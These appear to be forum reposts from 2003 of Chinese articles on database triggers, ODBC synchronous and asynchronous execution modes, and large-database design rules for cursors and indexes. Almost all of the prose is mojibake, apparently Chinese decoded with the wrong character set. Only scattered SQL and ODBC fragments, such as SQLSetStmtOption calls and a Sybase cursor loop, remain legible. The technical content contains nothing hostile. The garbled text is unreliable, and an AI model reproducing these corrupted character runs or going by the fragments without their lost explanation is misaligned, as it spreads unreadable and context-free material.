2¡¡´¥·¢Æ÷µÄÁíÍ⼸ÖÖÓ¦ÓÃ
2.1¡¡Êý¾Ý·ÖÉ¢¡ª¡ª¼¯ÖÐʽģÐÍÉè¼Æ
¡¡¡¡ÔÚʵ¼Ê¿ª·¢¹ý³ÌÖУ¬¾­³£Óöµ½ÕâÑùµÄÊý¾Ýά»¤ÒªÇ󣺵¥Î»Óɶà¸ö²¿ÃÅ×é³É£¬ÒªÇó¸÷²¿ÃÅÖ»ÄÜά»¤±¾²¿ÃŵÄÊý¾Ý£¬µ«ÁíÒ»·½Ã棬ÓÖÐèÒª½«·ÖÉ¢µ½¸÷²¿ÃŵÄÊý¾Ý¼¯ÖÐÆðÀ´½øÐлã×Ü£¬µÃµ½±¾µ¥Î»µÄ»ã×ÜÊý¾Ý¡£ÈçÒ»¸öѧУÓжà¸öϵ£¬Ñ§Ð£ÐèÒª¸÷ϵµÄ³É¼¨»ã×Ü£»Ò»¸ö¹¤³§Óжà¸öÉú²ú³µ¼ä£¬¹¤³§ÐèÒª¸÷³µ¼äµÄ²úÁ¿»ã×Ü£»Ò»¸ö¹«Ë¾Óжà¸öÏúÊÛ²¿ÃÅ£¬¹«Ë¾ÐèÒª¸÷²¿ÃŵÄÏúÁ¿»ã×ܵȵȡ£
¡¡¡¡ÔÚÕâÖÖÇé¿öÏ£¬Èç¹û²»Ê¹Óô¥·¢Æ÷µÄ»°£¬Êý¾Ý¿âÉè¼Æ¾Í´æÔÚÀ§ÄÑ£º
¡¡¡¡. Èç¹ûΪÿ¸ö²¿ÃŶ¼½¨Á¢Ò»¸ö±í£¬ÏÔÈ»ÄÑÒԵõ½»ã×ܵÄÊý¾Ý£¨ÔÚÕâÖÖÇé¿öÏ£¬ÎÞ·¨ÀûÓÃÊÓͼ»úÖÆ£©£»
¡¡¡¡. Èç¹ûËùÓеIJ¿ÃŶ¼¹²ÏíÒ»¸ö±íµÄ»°£¨Õâʱ£¬ÕâÕűíÖеÄÊý¾Ýʵ¼Ê¾ÍÊÇ»ã×ܵÄÊý¾Ý£©£¬ÒòΪÿ¸ö²¿ÃÅÐèҪά»¤Êý¾Ý£¬ËùÒÔ¶¼¶ÔÕâ¸ö±íÓÐÐÞ¸ÄȨ£¬Òò´ËÔÚÊý¾Ý°²È«ÉÏÄÑÒÔ¿ØÖÆ¡£
¡¡¡¡Ê¹Óô¥·¢Æ÷µÄ»°£¬ÉÏÊöÎÊÌâ±ã¿ÉÓ­Èжø½â£ºÎªÃ¿¸ö²¿ÃŽ¨Á¢Ò»¸ö±í£¨¸Ã²¿ÃŵÄËùÓÐȨÏÞÖ»ÏÞÓڶԴ˱íÓÐÐÞ¸ÄȨ£©£¬ÔÙΪ»ã×ÜÊý¾ÝÒ²½¨Á¢Ò»¸ö±í£¬È»ºóÔÚÿ¸ö²¿ÃűíÉϽ¨Á¢´¥·¢Æ÷£¬Ê¹µÃ²¿ÃűíÉÏÓÐÊý¾Ý¸üÐÂʱ£¬±ã»á¶ÔÓ¦µØ¸ü¸Ä»ã×ܱíÖеÄÏà¹ØÊý¾Ý£¨¼ûͼ1£©¡£



ͼ1¡¡´¥·¢Æ÷Ó¦ÓÃÓÚÊý¾Ý·ÖÉ¢¡ª¡ª¼¯ÖÐʽģÐÍ

¡¡¡¡ÔÚÕâÖÖÄ£ÐÍÖУ¬Òª×¢ÒâÉè¼ÆºÃ²¿ÃűíÏà¹Ø×ֶεÄÍêÕûÐÔÔ¼Êø£¬Ê¹¸÷²¿ÃűíÄÚµÄÊý¾ÝÊÇΨһµÄ£¬ÒÔ·ÀÖ¹²»Í¬²¿Ãűí³öÏÖÏàͬµÄÊý¾Ý¼Ç¼£¬´Ó¶øµ¼ÖÂÔÚ»ã×ܱíÖгöÏÖ»ìÂÒ¡£

2.2¡¡ÀúÊ·Êý¾Ýµ¼³ö
¡¡¡¡Êý¾Ý¿âÖеıíÖ»¼ÇÔØ×îеÄÊý¾Ý£¬¶ø²»¼ÇÔØÀúÊ·Êý¾Ý¡£µ«ÔںܶàÇé¿öÏ£¬ÀúÊ·Êý¾ÝµÄ¼ÇÔØÓë·ÖÎö·´¶ø±ÈÏÖʵÊý¾Ý¸üÓÐÒâÒ壨ÕâÒ²ÕýÊÇÊý¾Ý²Ö¿âÓëÊý¾Ý¿âµÄÇø±ðÖ®Ò»£©£¬±ÈÈçѧУÖÐѧºÅµÄ±ä¶¯£¬¹¤³§¶¨¶îµÄ¸ü¸Ä£¬¹«Ë¾²úÆ·ºÍÔ­²ÄÁϼ۸ñµÄ±ä»¯¡¢¹ÉƱµÄÉýµøµÈµÈ£¬ËüÃǶ¼ÐèÒª¼Ç¼ÀúÊ·Êý¾Ý¡£
¡¡¡¡ÈçºÎʹÊý¾Ý¿âÒ²ÄܼÇÔØÀúÊ·Êý¾ÝÄØ£¿Ê¹Óô¥·¢Æ÷¿ÉÒÔ½â¾öÕâÀàÎÊÌâ¡£
¡¡¡¡½¨Á¢ÕâÀà´¥·¢Æ÷µÄ²½ÖèÊÇ£º½¨Á¢Êý¾Ý±íºó£¬ÔÙ½¨Á¢¶ÔÓ¦µÄÀúÊ·±í£¨Ò»°ã¶øÑÔ£¬ÀúÊ·±íÔÚ×Ö¶Î×é³ÉÉÏÊÇÊý¾Ý±íµÄ³¬¼¯£¬¼´ÔÚÔ­Êý¾Ý±í×Ö¶ÎÉÏÔÙÔö¼ÓÓйØʱ¼äµÄ×ֶΣ©£¬È»ºóÔÚÁ½ÕßÖ®¼äÉèÁ¢´¥·¢Æ÷£¨¼ûͼ2£©¡£ÕâÑù£¬Ã¿µ±Êý¾Ý±íÓÐÊý¾Ý±ä¶¯£¬´¥·¢Æ÷±ã½«±ä¶¯µÄÊý¾Ý¼ÇÈëÀúÊ·Êý¾Ý±íÖУ¬´Ó¶ø´ïµ½×Ô¶¯¼Ç¼ÀúÊ·Êý¾ÝµÄÄ¿µÄ¡£



ͼ2¡¡ÀúÊ·Êý¾ÝµÄµ¼³öģʽ

2.3¡¡Ó¦ÓÃϵͳ¼äµÄÊý¾Ý½Ó¿Ú
¡¡¡¡Ò»¸öÍêÕûµÄÐÅϢϵͳµÄ½¨ÉèÒ»°ã²»ÊÇÒ»²½µ½Î»µÄ£¬ÍùÍùÊÇ·ÖÆÚ·ÖÅúÍê³É£¬¶ø²»Í¬ÆڴεÄϵͳÍùÍùÓÖ»áÓÐÊý¾Ý´«µÝ£¬È»¶øÓÉÓÚÐèÇó·¢Éú±ä»¯»òÊÇÆäËûÔ­Òò£¬²»Í¬ÆÚ´ÎϵͳµÄÊý¾Ý¿âÉè¼ÆÔÚ±í½á¹¹ÉõÖÁ×Ö¶ÎÉϵÄÉè¼Æ¶¼¿ÉÄܻụ²»Ò»Ö£¨¼´Ê¹ÊÇÔÚͬһÆڵĿª·¢¹ý³ÌÖУ¬ÓÉÓÚ×ÜÌåÉè¼Æ»òÊý¾Ý×ֵ䷽ÃæµÄÆ«²î»ò²»×㣬»òÕßÐèÒª¼¯³É¶à¼Òϵͳ£¬ÕâÖÖÏÖÏóÒ²»á¾­³£³öÏÖ£©¡£ÔÚ²»¿ÉÄÜÖؽ¨ÕâЩϵͳµÄÇé¿öÏ£¬ËüÃÇÖ®¼äµÄÊý¾ÝÄÜÎÞ·ì´«µÝÂ𣿻»ÑÔÖ®£¬ËüÃÇÖ®¼äÄܹ»×öµ½ÎÞ·ìÁ¬½ÓÂð£¿

¡¡¡¡ÔÚÕâÖÖÇé¿öÏ£¬´¥·¢Æ÷¿ÉÒÔÊÇÒ»ÖֽϺõĽâ¾ö·½Ê½£º½¨Á¢Öмä±í£¬Öмä±íµÄÉè¼Æ·ûºÏÐè·½Ó¦ÓÃϵͳµÄÉè¼Æ¸ñʽ£¬¶øËüµÄÊý¾ÝÓÖÓ빩·½Ó¦ÓÃϵͳµÄÊý¾Ý±£³ÖÒ»Ö¡££¨¼ûͼ3£©



ͼ3¡¡Öмä×÷Ϊ²»Í¬Ó¦ÓÃϵͳ¼äµÄÊý¾Ý½Ó¿Ú

¡¡¡¡Òª×¢ÒâµÄÒ»µãÊÇ£ºÍ¼Ê¾Ó¦ÓÃϵͳ¼äµÄÊý¾ÝÊǵ¥ÏòÁ÷¶¯µÄ£¨¼´Êý¾Ý´«µÝ£©£»Èç¹ûÊý¾ÝÐèҪ˫ÏòÁ÷¶¯£¨¼´Êý¾Ý½»»»£©£¬ÄÇôÔÚ´¥·¢Æ÷Éè¼ÆÖÐÓ¦ÓÐÍ˳ö»úÖÆ£¬ÒÔ±ÜÃâ·¢Éú´¥·¢Æ÷µÄµÝ¹é¡£

3¡¡½áÓï
¡¡¡¡´¥·¢Æ÷¶ÔÊý¾Ý¿â¿ª·¢¹ý³ÌÖÐÓöµ½µÄÎÊÌ⣬ÍùÍù»áÓжÀµ½µÄ½â¾ö·½·¨¡£´¥·¢Æ÷ÄÜʹÊý¾Ý¿âµÄÉè¼Æ±äµÃ¼ò½àºÍ¸ßЧ¡£ÎÄÖеÄ3¸öÀý×Ó£¬´ú±íÁË´¥·¢Æ÷3¸ö·½ÃæµÄµäÐÍÓ¦Óá£

×÷Õß¼ò½é£ºÀîÕñ»ª¡¡Ë¶Ê¿£¬½²Ê¦¡£ÏÖ´ÓʼÆËã»úÍøÂç¼°Êý¾Ý¿âµÄ½ÌѧÓë¿ÆÑй¤×÷¡£

×÷Õßµ¥Î»£ºÖйúµØÖÊ´óѧÍøÂçÖÐÐÄ¡¡ºþ±±.Î人£¨430074)

²Î¿¼ÎÄÏ×
£Û1£Ý¡¡ÉòÅå¾ê£¬ÌÀºÉÃÀ,±àÖø. Êý¾Ý¿â¹ÜÀí¼°Ó¦Óÿª·¢(µÚ1°æ).±±¾©£ºÇ廪´óѧ³ö°æÉ磬1995,6
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 12:54
ODBCÖеÄͬ²½ÓëÒì²½Ö´ÐÐģʽ

--------------------------------------------------------------------------------

1£®ÒýÑÔ
    ½üÄêÀ´£¬Ëæ׿ÆËã»ú¾ÖÓòÍø¼¼ÊõµÄ²»¶Ï·¢Õ¹£¬¼ÆËã»úÌåϵ½á¹¹ÒѾ­·¢Õ¹µ½¸´ÔÓ¶ø¿ª·ÅµÄ¿Í»§»ú£¯·þÎñÆ÷ģʽ¡£¶ÔÓÚ¿Í»§»ú£¯·þÎñÆ÷Ó¦ÓõĿª·¢£¬ÏÖÔÚ³£ÓõÄÇ°¶Ë¿ª·¢¹¤¾ßÓУºVisualBasic¡¢Delphi¡¢PowerBuilderµÈ¡£ËüÃÇ¿Éͨ¹ýODBC½Ó¿Ú·ÃÎÊ·þÎñÆ÷µÄSQLServerÊý¾Ý¿â·þÎñÆ÷¡£
    VisualBasic¡¢Delphi¡¢PowerBuilderµÈ¿ª·¢¹¤¾ßÔÚʹÓÃODBC2£®0À´±àд³ÌÐòʱ£¬Í¨³£»áÌṩÈýÖÖ·½·¨À´½øÐÐÊý¾Ý¿âÓ¦ÓóÌÐòµÄ·½°¸Éè¼Æ£º
    ¡¤Ê¹ÓÃÊý¾Ý¿ØÖÆÏî
    ¡¤Ê¹ÓÃÊý¾Ý¿â¶ÔÏó±äÁ¿½øÐбà³Ì
    ¡¤Ö±½Óµ÷ÓÃODBC2£®0API
    ÔÚ¿Í»§»ú£¯·þÎñÆ÷ģʽϽøÐÐÊý¾Ý¿âÓ¦ÓóÌÐòÉè¼Æʱ£¬½öÓÃÇ°Á½ÖÖ·½·¨ÍùÍùÊDz»¹»µÄ¡£ÒòΪ²ÉÓÃÇ°Á½ÖÖ·½·¨£¬ÆäÖ´ÐÐģʽ¶ÔÓÚ³ÌÐòÔ±ÊÇ͸Ã÷µÄ£¬¶øODBC2£®0·ÃÎÊÊý¾Ý¿âʱ´æÔÚͬ²½ÓëÒì²½Ö´ÐÐģʽ֮·Ö£¬¹ÊÈÝÒ×ÒòÉè¼Æ²»µ±£¬·¢ÉúϵͳËÀËø¡£Òò´Ë£¬ÔÚʵ¼Ê±à³ÌÐòʱ£¬ÎÒÃÇÐèÒª²ÉÓõÚÈýÖÖ·½·¨À´½â¾öÓÉͬ²½ºÍÒì²½Ö´ÐÐģʽËùÔì³ÉµÄÎÊÌâ¡£

2£®Í¬²½ºÍÒì²½Ö´ÐÐģʽ
    ODBC2£®0·ÃÎÊÊý¾Ý¿âʱ£¬ÓÐͬ²½Ö´ÐÐģʽÓëÒì²½Ö´ÐÐģʽ֮·Ö¡£
    Ëùνͬ²½Ö´ÐÐģʽ£¬ÊÇÖ¸Óï¾äÔÚͬ²½Ö´ÐÐģʽÏ£¬½«Ê¼ÖÕ±£³Ö¶Ô³ÌÐòÁ÷µÄ¿ØÖÆ£¬Ö±ÖÁ³ÌÐò½áÊø¡£ÀýÈç²éѯ²Ù×÷£¬¿Í»§»úÉϵÄÓ¦ÓóÌÐòÔÚÏò·þÎñÆ÷·¢³ö²éѯ²Ù×÷µÄÖ¸Áîºó£¬½«Ò»Ö±µÈ´ý·þÎñÆ÷½«²éѯ½á¹û·µ»Ø¿Í»§»ú¶Ëºó£¬²Å¼ÌÐø½øÐÐÏÂÒ»²½²Ù×÷£¬Èçͼ1Ëùʾ¡£
ͼ1ͬ²½Ö´ÐÐģʽ
    ËùνÒì²½Ö´ÐÐģʽ£¬ÊÇÖ¸Óï¾äÔÚÒì²½Ö´ÐÐģʽÏ£¬¸÷Óï¾äÖ´ÐнáÊøµÄ˳ÐòÓëÓï¾äÖ´ÐпªÊ¼µÄ˳Ðò²¢²»Ò»¶¨Ïàͬ¡£ÀýÈç²éѯ²Ù×÷£¬¿Í»§»úÉϵÄÓ¦ÓóÌÐòÔÚÏò·þÎñÆ÷·¢³öÁ˲éѯ²Ù×÷µÄÖ¸Áîºó£¬½«Á¢¿ÌÖ´ÐвéѯÓï¾äµÄÏÂÒ»ÌõÓï¾ä£¬¶ø²»ÐèÒªµÈµ½·þÎñÆ÷½«²éѯ½á¹û·µ»Ø¿Í»§»ú¶Ëºó£¬²Å¼ÌÐø½øÐÐÏÂÒ»²½²Ù×÷¡£Èçͼ2Ëùʾ¡£
ͼ2Òì²½Ö´ÐÐģʽ
    ÔÚһЩӦÓóÌÐò¿ª·¢¹¤¾ßÖУ¬ÔÚÆäÌṩʹÓÃÊý¾Ý¿ØÖÆÏîºÍÊý¾Ý¿â¶ÔÏó±äÁ¿½øÐбà³ÌµÄͬʱ£¬²¢Ã»Óкܺõؿ¼Âǵ½Í¬²½Ö´ÐÐģʽÓëÒì²½Ö´ÐÐģʽµÄÖØÒªÇø±ð¡£ÎªÁËʹ³ÌÐòÔËÐÐËٶȸü¿ì£¬ÆäÓï¾äÖ´ÐеÄȱʡģʽΪÒ첽ģʽ¡£¶ÔÓÚÒ»°ã³ÌÐòÔ±À´Ëµ£¬Èç¹ûËû¶Ôͬ²½Ö´ÐÐģʽÓëÒì²½Ö´ÐÐģʽ²»Á˽âµÄ»°£¬ËûÍùÍù»áÔÚ¶Ô·þÎñÆ÷·¢³öÒ»¸ö²Ù×÷Óï¾ä£¨²éѯ»ò¶ÁÈ¡Ò»Ìõ¼Ç¼µÈ²Ù×÷£©ºó£¬Á¢¿ÌÒýÓ÷þÎñÆ÷·µ»ØµÄÖ´Ðнá¹û£¬»òÕ߶Ըýá¹û½øÐÐÏÂÒ»²½²Ù×÷£»ÔÚÒì²½Ö´ÐÐģʽÏ£¬¿Í»§»úÉϵĺóÐøÓï¾äÊÇÔڸòÙ×÷Óï¾ä·¢³öºó½Ó×ÅÖ´Ðеģ¬µ«ÓÉÓÚ¸÷ÖÖÔ­Òò£¬·þÎñÆ÷²»Ò»¶¨ÄÜÖ´ÐÐÍê¸Ã²Ù×÷Óï¾ä£¬²¢ÔÚºóÐøÓï¾äÖ´ÐÐÇ°½«½á¹û·µ»Ø¿Í»§»ú¡£Òò´Ë£¬ºóÐøÓï¾äÔÚÒýÓÃÇ°Ò»²Ù×÷Óï¾äµÄÖ´Ðнá¹ûʱ£¬ÍùÍù»áÒòΪ¸ÃÖ´Ðнá¹û²¢²»´æÔÚ¶øÒýÓÃÁË´íÎóµÄÖµ£¬Ôì³Éϵͳ´íÎó»òËÀËø¡£

3£®½â¾ö·½°¸
     ½â¾öÉÏÃæËùÌáµ½µÄÎÊÌ⣬¿ÉÒÔ²ÉÈ¡ÒÔÏÂÁ½ÖÖ·½°¸£º
¢ÙÀûÓÃODBC2£®0API£¬½«Óï¾äÖ´ÐÐ״̬ÉèÖÃΪͬ²½Ö´ÐÐģʽ¡£ODBC2£®0APIÖУ¬º¯ÊýSQLSetStmtOption£¨£©µÄ¹¦ÄÜÊÇÉèÖÃͬ²½»òÒì²½Ö´ÐÐģʽ¡£ÎÒÃÇ¿ÉÒÔ²ÉÓÃÒÔÏÂÓï¾ä£¬½«Óï¾äÖ´ÐÐ״̬ÉèÖÃΪͬ²½Ö´ÐÐģʽ£ºiRetCode¦ªSQLSetStmtOption£¨hStmt£¬SQL£­ASYNC£­EN?ABLE£¬0£©
    ÆäÖУ¬hStmtÊÇÒ»ÓÐЧµÄÓï¾ä¾ä±ú£¬³£ÊýSQL£­ASYNC£­ENABLEÊÇËùÒªÉèÖõÄÑ¡Ï²ÎÊý0±íʾ¸ÃÑ¡Ï¼´Òì²½Ö´ÐÐģʽ£©¹Ø±Õ¡£Èç¹ûiRetCode·µ»ØSQL£­SUCCESS£¬Ôò±íʾÓï¾äÖ´ÐÐ״̬Òѱ»ÉèÖÃΪͬ²½Ö´ÐÐģʽ¡£
¢ÚÀûÓÃODBC2£®0API£¬½«Óï¾äÖ´ÐÐ״̬ÉèÖÃΪÒì²½Ö´ÐÐģʽ£¬È»ºóÔÚ³ÌÐòÖв»¶Ï²éѯһ¸ö²Ù×÷Óï¾äÊÇ·ñÒѾ­Ö´ÐÐÍê±Ï¡£
    ODBC2£®0APIÖй²ÓÐ20¶à¸öº¯ÊýÖ§³ÖÒì²½Ö´ÐУ¬ÈçÉÏÒ³±íËùʾ¡£
    ÕâЩº¯ÊýµÚÒ»´Îµ÷Óú󣬽«·µ»ØÖµSQL£­STILL£­EXE?CUTING£¬ÕâʱӦÓóÌÐò½«¼ÌÐøÖ´ÐкóÐøÓï¾ä¡£¹ýÁËÒ»¶Îʱ¼äºó£¬Ó¦¸ÃÔٴε÷ÓÃÔ­º¯Êý£¬¶øÇÒҪעÒ⣺ʵ²ÎÊýÓ¦´«ÈëÓëµÚÒ»´Îµ÷ÓÃʱÏàͬµÄÓï¾ä¾ä±ú£¬ÆäËû²ÎÊýÒ²Ó¦Ò»Ñù£¨µ«»á±»ºöÂÔ£©¡£Èç¹ûº¯Êý·µ»ØֵΪSQL£­SUCCESS£¬Ôò±íÃ÷¸ÃÓï¾äÒѾ­Ö´ÐÐÍê±Ï£»Èç¹ûº¯Êý·µ»ØSQL£­STILL£­EXECUTING£¬Ôò±íÃ÷¸ÃÓï¾äÈÔÔÚÖ´ÐÐÖС£
ÎÒÃÇ¿ÉÒÔÓÃÒ»¸ö¼òµ¥µÄÀý×Ó˵Ã÷ÈçÏ£º
iRetCode¦ªSQLSetStmtOption£¨hStmt£¬SQL£­ASYNC£­ENABLE£¬1£©
¡äÖÃÓï¾äÖ´ÐÐģʽΪÒì²½Ö´ÐÐģʽ
iRetCode¦ªSQLExecDirect£¨hStmt£¬¡åSELECT£ªFROMemployees¡å£¬23£©
£®£®£®£®£®£®¡äÖ´ÐÐÆäËû²Ù×÷
iRetCode¦ªSQLExecDirect£¨hStmt£¬¡åSELECT£ªFROMemployees¡å£¬23£©
¡äÅжÏSQLExecDirect£¨£©ÊÇ·ñÒÑÖ´ÐÐÍê±Ï
If£¨iRetCode¦ªSQL£­STILL£­EXECUTING£©Then
£®£®£®£®£®£®¡ä¸ÃÓï¾äδִÐÐÍ꣬¼ÌÐøÖ´ÐÐÆäËû²Ù×÷
Else
If£¨iRetCode¦ªSQL£­SUCCESS£©Then
£®£®£®£®£®£®¡ä¸ÃÓï¾äÒÑÖ´ÐÐÍ꣬¿É¶ÔÓï¾ä²Ù×÷½á¹û½øÐд¦Àí
EndIf
EndIf
    ͬ²½Ö´ÐÐģʽ¿ÉÒÔ¼ò»¯³ÌÐò±àÖƵĸ´ÔÓÐÔ£¬¶ÔODBC2£®0API²»Ê®·ÖÊìϤµÄ³ÌÐòÔ±£¬¿ÉÒÔ²»Óùý¶àµØÁ˽â±È½Ï¸´ÔÓµÄODBC2£®0API£¬¶øÖ»ÐèʹÓÃÊý¾Ý¿ØÖÆÏîºÍÊý¾Ý¿â¶ÔÏó±äÁ¿À´±àдӦÓóÌÐò£¬Ê¹¿ª·¢Ð§ÂÊ´ó´óÌá¸ß£¬µ«³ÌÐòÔËÐÐËٶȱȲ»ÉÏÒì²½Ö´ÐÐģʽµÄËٶȡ£
    Òì²½Ö´ÐÐģʽËäÈ»ÔÚ±à³ÌÐòʱʮ·Ö¸´ÔÓ£¬µ«ÔÚÕâÖÖģʽÏ¿ÉÒÔ½øÐжàÈÎÎñ²¢ÐÐÖ´ÐУ¬Ê¹Ö´ÐÐЧÂÊ´ó´óÌá¸ß¡£
    ÎÒÃÇÔÚ±àÖÆÓ¦ÓóÌÐòʱ£¬Ó¦¸ù¾Ý×ÔÉíµÄÇé¿ö£¬¶ÔÕâÁ½ÖÖģʽµÄʹÓýøÐл®·Ö£¬ÒÔ±ã¼ÈÌá¸ß³ÌÐòÔËÐеݲȫ¿É¿¿ÐÔ£¬ÓÖÌá¸ß³ÌÐòÖ´ÐеÄЧÂÊ¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 12:55
´óÐÍÊý¾Ý¿âÉè¼ÆÔ­Ôò
Äϲýº½¿Õ¹¤ÒµÑ§Ôºµç×Ó¹¤³Ìϵ
Ó÷½ð¿Æ
---- Ò»¸öºÃµÄÊý¾Ý¿â²úÆ·²»µÈÓÚ¾ÍÓÐÒ»¸öºÃµÄÓ¦ÓÃϵͳ£¬Èç¹û²»ÄÜÉè¼ÆÒ»¸öºÏÀíµÄÊý¾Ý¿âÄ£ÐÍ£¬²»½ö»áÔö¼Ó¿Í»§¶ËºÍ·þÎñÆ÷¶Î³ÌÐòµÄ±à³ÌºÍά»¤µÄÄѶȣ¬¶øÇÒ½«»áÓ°Ïìϵͳʵ¼ÊÔËÐеÄÐÔÄÜ¡£Ò»°ãÀ´½²£¬ÔÚÒ»¸öMISϵͳ·ÖÎö¡¢Éè¼Æ¡¢²âÊÔºÍÊÔÔËÐн׶Σ¬ÒòΪÊý¾ÝÁ¿½ÏС£¬Éè¼ÆÈËÔ±ºÍ²âÊÔÈËÔ±ÍùÍùÖ»×¢Òâµ½¹¦ÄܵÄʵÏÖ£¬¶øºÜÄÑ×¢Òâµ½ÐÔÄܵı¡ÈõÖ®´¦£¬µÈµ½ÏµÍ³Í¶Èëʵ¼ÊÔËÐÐÒ»¶Îʱ¼äºó£¬²Å·¢ÏÖϵͳµÄÐÔÄÜÔÚ½µµÍ£¬ÕâʱÔÙÀ´¿¼ÂÇÌá¸ßϵͳÐÔÄÜÔòÒª»¨·Ñ¸ü¶àµÄÈËÁ¦ÎïÁ¦£¬¶øÕû¸öϵͳҲ²»¿É±ÜÃâµÄÐγÉÁËÒ»¸ö´ò²¹¶¡¹¤³Ì¡£±ÊÕßÒÀ¾Ý¶àÄêÀ´Éè¼ÆºÍʹÓÃÊý¾Ý¿âµÄ¾­Ñ飬Ìá³öÒÔÏÂһЩÉè¼Æ×¼Ôò£¬¹©Í¬ÈÊÃDzο¼¡£

ÃüÃûµÄ¹æ·¶
---- ²»Í¬µÄÊý¾Ý¿â²úÆ·¶Ô¶ÔÏóµÄÃüÃûÓв»Í¬µÄÒªÇó£¬Òò´Ë£¬Êý¾Ý¿âÖеĸ÷ÖÖ¶ÔÏóµÄÃüÃû¡¢ºǫ́³ÌÐòµÄ´úÂë±àдӦ²ÉÓôóСдÃô¸ÐµÄÐÎʽ£¬¸÷ÖÖ¶ÔÏóÃüÃû³¤¶È²»Òª³¬¹ý30¸ö×Ö·û£¬ÕâÑù±ãÓÚÓ¦ÓÃϵͳÊÊÓ¦²»Í¬µÄÊý¾Ý¿â¡£
Óα꣨Cursor£©µÄÉ÷ÓÃ
---- ÓαêÌṩÁ˶ÔÌض¨¼¯ºÏÖÐÖðÐÐɨÃèµÄÊֶΣ¬Ò»°ãʹÓÃÓαêÖðÐбéÀúÊý¾Ý£¬¸ù¾ÝÈ¡³öµÄÊý¾Ý²»Í¬Ìõ¼þ½øÐв»Í¬µÄ²Ù×÷¡£ÓÈÆä¶Ô¶à±íºÍ´ó±í¶¨ÒåµÄÓα꣨´óµÄÊý¾Ý¼¯ºÏ£©Ñ­»·ºÜÈÝÒ×ʹ³ÌÐò½øÈëÒ»¸öÂþ³¤µÄµÈÌØÉõÖÁËÀ»ú£¬±ÊÕßÔÚijÊС¶×¡·¿¹«»ý½ð¹ÜÀíϵͳ¡·½øÐÐÈÕÖÕÕÊ»§¹ö»ýÊý¼ÆÏ¢´¦Àíʱ£¬¶ÔÒ»¸ö10Íò¸öÕÊ»§µÄÓα괦Àíµ¼Ö³ÌÐò½øÈëÁËÒ»¸öÎÞÏÞÆڵĵÈÌØ£¨ºó¾­²âËãÐè48¸öСʱ²ÅÄÜÍê³É£©(Ó²¼þ»·¾³£ºAlpha/4000 128Mram ,Sco Unix ,Sybase 11.0)£¬ºó¸ù¾Ý²»Í¬µÄÌõ¼þ¸Ä³ÉÓò»Í¬µÄUPDATEÓï¾äµÃÒÔÔÚ¶þÊ®·ÖÖÓÖ®ÄÚÍê³É¡£Ê¾ÀýÈçÏ£º
Declare Mycursor cursor for select  count_no from COUNT
        Open Mycursor
        Fetch Mycursor into @vcount_no
        While (@@sqlstatus=0)
    Begin
        If  @vcount_no=¡¯¡¯  Ìõ¼þ1
        ²Ù×÷1
   If  @vcount_no=¡¯¡¯  Ìõ¼þ2
                        ²Ù×÷2
                        ¡£¡£¡£
        Fetch Mycursor into @vcount_no
End
¡£¡£¡£
¡£¡£¡£
        ¸ÄΪ
        Update COUNT set  ²Ù×÷1 for Ìõ¼þ1
        Update COUNT set  ²Ù×÷2 for Ìõ¼þ2
        ¡£¡£¡£
        ¡£¡£¡£

---- ÔÚÓÐЩ³¡ºÏ£¬ÓÐʱҲ·ÇµÃʹÓÃÓα꣬´ËʱҲ¿É¿¼Âǽ«·ûºÏÌõ¼þµÄÊý¾ÝÐÐתÈëÁÙʱ±íÖУ¬ÔÙ¶ÔÁÙʱ±í¶¨ÒåÓαê½øÐвÙ×÷£¬¿ÉʱÐÔÄܵõ½Ã÷ÏÔÌá¸ß¡£±ÊÕßÔÚijµØÊС´µçÐÅÊÕ·Ñϵͳ¡µÊý¾Ý¿âºǫ́³ÌÐòÉè¼ÆÖУ¬¶ÔÒ»¸ö±í£¨3ÍòÐÐÖзûºÏÌõ¼þµÄ30¶àÐÐÊý¾Ý£©½øÐÐÓαê²Ù×÷(Ó²¼þ»·¾³£ºPC·þÎñÆ÷£¬PII266 64Mram ,NT4.0 Ms Sqlserver 6.5)¡£ ʾÀýÈçÏ£º

Create #tmp   /* ¶¨ÒåÁÙʱ±í */
(        ×Ö¶Î1
                        ×Ö¶Î2
        ¡£¡£¡£
        )
        Insert into #tmp select * from TOTAL where  
Ìõ¼þ  /* TOTALÖÐ3ÍòÐÐ ·ûºÏÌõ¼þÖ»Óм¸Ê®ÐÐ */
        Declare Mycursor cursor for select * from #tmp
  /*¶ÔÁÙʱ±í¶¨ÒåÓαê*/
        ¡£¡£¡£

Ë÷Òý(Index)µÄʹÓÃÔ­Ôò
---- ´´½¨Ë÷ÒýÒ»°ãÓÐÒÔÏÂÁ½¸öÄ¿µÄ£ºÎ¬»¤±»Ë÷ÒýÁеÄΨһÐÔºÍÌṩ¿ìËÙ·ÃÎʱíÖÐÊý¾ÝµÄ²ßÂÔ¡£´óÐÍÊý¾Ý¿âÓÐÁ½ÖÖË÷Òý¼´´ØË÷ÒýºÍ·Ç´ØË÷Òý£¬Ò»¸öûÓдØË÷ÒýµÄ±íÊÇ°´¶Ñ½á¹¹´æ´¢Êý¾Ý£¬ËùÓеÄÊý¾Ý¾ùÌí¼ÓÔÚ±íµÄβ²¿£¬¶ø½¨Á¢ÁË´ØË÷ÒýµÄ±í£¬ÆäÊý¾ÝÔÚÎïÀíÉϻᰴÕÕ´ØË÷Òý¼üµÄ˳Ðò´æ´¢£¬Ò»¸ö±íÖ»ÔÊÐíÓÐÒ»¸ö´ØË÷Òý£¬Òò´Ë£¬¸ù¾ÝBÊ÷½á¹¹£¬¿ÉÒÔÀí½âÌí¼ÓÈκÎÒ»ÖÖË÷Òý¾ùÄÜÌá¸ß°´Ë÷ÒýÁвéѯµÄËٶȣ¬µ«»á½µµÍ²åÈë¡¢¸üС¢É¾³ý²Ù×÷µÄÐÔÄÜ£¬ÓÈÆäÊǵ±Ìî³äÒò×Ó£¨Fill Factor£©½Ï´óʱ¡£ËùÒÔ¶ÔË÷Òý½Ï¶àµÄ±í½øÐÐƵ·±µÄ²åÈë¡¢¸üС¢É¾³ý²Ù×÷£¬½¨±íºÍË÷ÒýʱÒòÉèÖýÏСµÄÌî³äÒò×Ó£¬ÒÔ±ãÔÚ¸÷Êý¾ÝÒ³ÖÐÁôϽ϶àµÄ×ÔÓɿռ䣬¼õÉÙÒ³·Ö¸î¼°ÖØÐÂ×éÖ¯µÄ¹¤×÷¡£
Êý¾ÝµÄÒ»ÖÂÐÔºÍÍêÕûÐÔ
